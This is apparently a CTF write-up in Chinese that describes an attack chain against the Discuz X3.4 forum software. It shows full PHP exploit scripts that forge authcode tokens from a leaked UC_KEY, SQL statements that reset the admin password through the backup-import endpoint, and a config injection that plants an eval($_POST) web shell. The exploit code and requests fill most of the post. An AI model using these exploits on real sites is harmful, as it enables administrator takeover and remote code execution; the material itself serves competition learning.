CTF Web安全

红明谷数据安全大赛线下赛Discuz题解

Posted on 2021-04-19,9 min read

题目环境是一个靶机TP5RCE起手。里面有个bak2数据库。发现是Discuz的东西(估计是站库分离)。
想到Nu1l有个题和Discuz有关。也是泄露了数据库。

https://www.anquanke.com/post/id/205145#h3-4
https://hpdoger.cn/2020/05/11/title:%20Windows%E4%B8%8BDiscuz%20x3.4%E7%9A%84%E4%B8%A4%E7%A7%8D%E6%94%BB%E5%87%BB%E6%80%9D%E8%B7%AF/
https://paper.seebug.org/1197/
管理员的hash、salt
pre_ucenter_members表
Client UC_KEY
pre_ucenter_applications表
Server UC_KEY
\uc_server\data\config.inc.php

这里大致看了下是因为泄露Client UC_KEY来sql注入。读到Server UC_KEY。从而伪造cookie。请求修改密码接口

然而我一打欸。本地可以。远程不行。原来。出题人把这给修了。至此还以为是要挖个0day。直接溜了。看其他题
欸。没想到。还有第二种办法。使用数据库备份配合前台文件上传修改管理员密码。具体看https://hpdoger.cn/2020/05/11/title:%20Windows%E4%B8%8BDiscuz%20x3.4%E7%9A%84%E4%B8%A4%E7%A7%8D%E6%94%BB%E5%87%BB%E6%80%9D%E8%B7%AF/这篇文章。安全客和paper的文章中。都没写这部分

首先。前台上传一个zip。内容如下

UPDATE IGNORE `pre_common_member` SET `uid` = 1,`email` = 'admin@admin.com',`username` = 'admin',`password` = 'dc3ca11de97e974a450ac978c5f01bd8',`status` = 0,`emailstatus` = 0,`avatarstatus` = 0,`videophotostatus` = 0,`adminid` = 1,`groupid` = 1,`groupexpiry` = 0,`extgroupids` = '',`regdate` = 1334725420,`credits` = 10,`notifysound` = 0,`timeoffset` = '',`newpm` = 0,`newprompt` = 0,`accessmasks` = 0,`allowadmincp` = 1,`onlyacceptfriendpm` = 0,`conisbind` = 0 WHERE `pre_common_member`.`uid` = 1;
UPDATE IGNORE `pre_ucenter_members` SET `uid` = 1,`username` = 'admin',`password` = 'f69a1d5054ecc78b988bbde05b8dfb88',`email` = 'admin@admin.com',`myid` = '',`myidkey` = '',`regip` = 'hidden',`regdate` = 1334725417,`lastloginip` = 0,`lastlogintime` = 0,`salt` = '97b07d',`secques` = '' WHERE `pre_ucenter_members`.`uid` = 1;
UPDATE IGNORE `pre_ucenter_admins` SET `uid` = 1,`username` = 'admin',`allowadminsetting` = 1,`allowadminapp` = 1,`allowadminuser` = 1,`allowadminbadword` = 1,`allowadmintag` = 1,`allowadminpm` = 1,`allowadmincredits` = 1,`allowadmindomain` = 1,`allowadmindb` = 1,`allowadminnote` = 1,`allowadmincache` = 1,`allowadminlog` = 1 WHERE `pre_ucenter_admins`.`uid` = 1;

然后用数据库中泄露的UC_KEY。计算出authcode。export数据库。因为我们上传的文件路径。存放在数据库的pre_forum_attachment_unused表中。

EXP:

<?php
function _authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) {
	$ckey_length = 4;

	$key = md5($key ? $key : UC_KEY);
	$keya = md5(substr($key, 0, 16));
	$keyb = md5(substr($key, 16, 16));
	$keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';

	$cryptkey = $keya.md5($keya.$keyc);
	$key_length = strlen($cryptkey);

	$string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;
	$string_length = strlen($string);

	$result = '';
	$box = range(0, 255);

	$rndkey = array();
	for($i = 0; $i <= 255; $i++) {
		$rndkey[$i] = ord($cryptkey[$i % $key_length]);
	}

	for($j = $i = 0; $i < 256; $i++) {
		$j = ($j + $box[$i] + $rndkey[$i]) % 256;
		$tmp = $box[$i];
		$box[$i] = $box[$j];
		$box[$j] = $tmp;
	}

	for($a = $j = $i = 0; $i < $string_length; $i++) {
		$a = ($a + 1) % 256;
		$j = ($j + $box[$a]) % 256;
		$tmp = $box[$a];
		$box[$a] = $box[$j];
		$box[$j] = $tmp;
		$result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));
	}

	if($operation == 'DECODE') {
		if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {
			return substr($result, 26);
		} else {
				return '';
			}
	} else {
		return $keyc.str_replace('=', '', base64_encode($result));
	}

}
$uc_key = "t4Ma29kcC9e3J6C0Fdo3v5tba5G699b5H8n7s8rfJ18etcL0S5B5I2S2GeE7lblc";

$time = time() + 7200;
#$encode = "time=".$time."&method=import&dumpfile=../data/attachment/forum/202104/19/165333sl4tzalxxu484u1o.zip";
$encode = "time=".$time."&method=export&backupfilename=1&volume=1&tableid=123";
echo(urlencode(_authcode($encode,'ENCODE',$uc_key)));

请求http://127.0.0.1/api/db/dbbak.php?apptype=discuzx&code=2a4fgTZ7I1RzEZ5Os3yHqJb9CUAg%2Bqmhr6Rm4QRpEzDT7dlGMzzD61P7vBR86Uz04ryqvsTTAJgezRqzB4RLUayL6NuwZRt4nFjRUWoswj2BaWm7%2FHDMuhilJt5CwqsO

获得sql文件路径

得到我们上传的文件路径

/data/attachment/forum/202104/19/165552pbm4ng33m411l196.zip

再怼上exp

<?php
function _authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) {
	$ckey_length = 4;

	$key = md5($key ? $key : UC_KEY);
	$keya = md5(substr($key, 0, 16));
	$keyb = md5(substr($key, 16, 16));
	$keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';

	$cryptkey = $keya.md5($keya.$keyc);
	$key_length = strlen($cryptkey);

	$string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;
	$string_length = strlen($string);

	$result = '';
	$box = range(0, 255);

	$rndkey = array();
	for($i = 0; $i <= 255; $i++) {
		$rndkey[$i] = ord($cryptkey[$i % $key_length]);
	}

	for($j = $i = 0; $i < 256; $i++) {
		$j = ($j + $box[$i] + $rndkey[$i]) % 256;
		$tmp = $box[$i];
		$box[$i] = $box[$j];
		$box[$j] = $tmp;
	}

	for($a = $j = $i = 0; $i < $string_length; $i++) {
		$a = ($a + 1) % 256;
		$j = ($j + $box[$a]) % 256;
		$tmp = $box[$a];
		$box[$a] = $box[$j];
		$box[$j] = $tmp;
		$result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));
	}

	if($operation == 'DECODE') {
		if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {
			return substr($result, 26);
		} else {
				return '';
			}
	} else {
		return $keyc.str_replace('=', '', base64_encode($result));
	}

}
$uc_key = "t4Ma29kcC9e3J6C0Fdo3v5tba5G699b5H8n7s8rfJ18etcL0S5B5I2S2GeE7lblc";

$time = time() + 7200;
$encode = "time=".$time."&method=import&dumpfile=../data/attachment/forum/202104/19/165552pbm4ng33m411l196.zip";
#$encode = "time=".$time."&method=export&backupfilename=1&volume=1&tableid=123";
echo(urlencode(_authcode($encode,'ENCODE',$uc_key)));

请求:

http://127.0.0.1/api/db/dbbak.php?apptype=discuzx&code=2bd8886k8cCUbpbpu0xrwlkVR3JzFzUOFF%2FhpwxynL0%2FP7CU1vusaCkoseRV0NY4hGjAWwB8u0F8ubeL6KMeTmgmTf7ib8TYmz7x2h%2BH8Wz3bA8VLWkfYbGkQtNe5X47YpRJwzAHzLCwZseCShjgPFLC11Rz4Ve1OrWI87GArOyD

此时。管理员密码已经改成780304了。成功进入后台

Getshell
密钥改为123456
访问地址改成http://127.0.0.1/uc_server');eval($_POST[sven]);//

EXP:

<?php
$uc_key="123456";//此处填写刚才UCenter设置的值
$time = time() + 720000;
$str = "time=".$time."&action=updateapps";
$code = authcode($str,"ENCODE",$uc_key);
$code = str_replace('+','%2b',$code);
$code = str_replace('/','%2f',$code);
echo $code;

function authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) {
  $ckey_length = 4;
  $key = md5($key != '' ? $key : '123456');
  $keya = md5(substr($key, 0, 16));
  $keyb = md5(substr($key, 16, 16));
  $keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';

  $cryptkey = $keya.md5($keya.$keyc);
  $key_length = strlen($cryptkey);

  $string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;
  $string_length = strlen($string);

  $result = '';
  $box = range(0, 255);

  $rndkey = array();
  for($i = 0; $i <= 255; $i++) {
    $rndkey[$i] = ord($cryptkey[$i % $key_length]);
  }

  for($j = $i = 0; $i < 256; $i++) {
    $j = ($j + $box[$i] + $rndkey[$i]) % 256;
    $tmp = $box[$i];
    $box[$i] = $box[$j];
    $box[$j] = $tmp;
  }

  for($a = $j = $i = 0; $i < $string_length; $i++) {
    $a = ($a + 1) % 256;
    $j = ($j + $box[$a]) % 256;
    $tmp = $box[$a];
    $box[$a] = $box[$j];
    $box[$j] = $tmp;
    $result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));
  }

  if($operation == 'DECODE') {
    if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {
      return substr($result, 26);
    } else {
      return '';
    }
  } else {
    return $keyc.str_replace('=', '', base64_encode($result));
  }
}
?>

请求

POST /api/uc.php?code=596d8C5w9blI17te9zUhJwF7Zk71Ce22Mhu1jnR9L0EOTJUSVZMmWVXu26%2b1XXiNnOIYVH0JOHT2%2fUASD0Y HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:47.0) Gecko/20100101 Firefox/47.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 107

<?xml version="1.0" encoding="ISO-8859-1"?><root><item id="UC_API">http://127.0.0.1/uc_server</item></root>

利用配置项写入问题。逃逸了把\去掉。从而导致单引号逃逸

define('UC_API', 'http://127.0.0.1/uc_server\');eval($_POST[sven]);//');
#一开始写入的内容。经过了转义啥的
define('UC_API', 'http://127.0.0.1/uc_server');
#第二步。正则匹配单引号里面的内容。替换为我们输入的。也就是把http://127.0.0.1/uc_server\替换成了http://127.0.0.1/uc_server。变成了下面这样
define('UC_API', 'http://127.0.0.1/uc_server');eval($_POST[sven]);//');

访问http://127.0.0.1/config/config_ucenter.php成功getshell

下一篇: V&NCTF Easy_Laravel Writeup→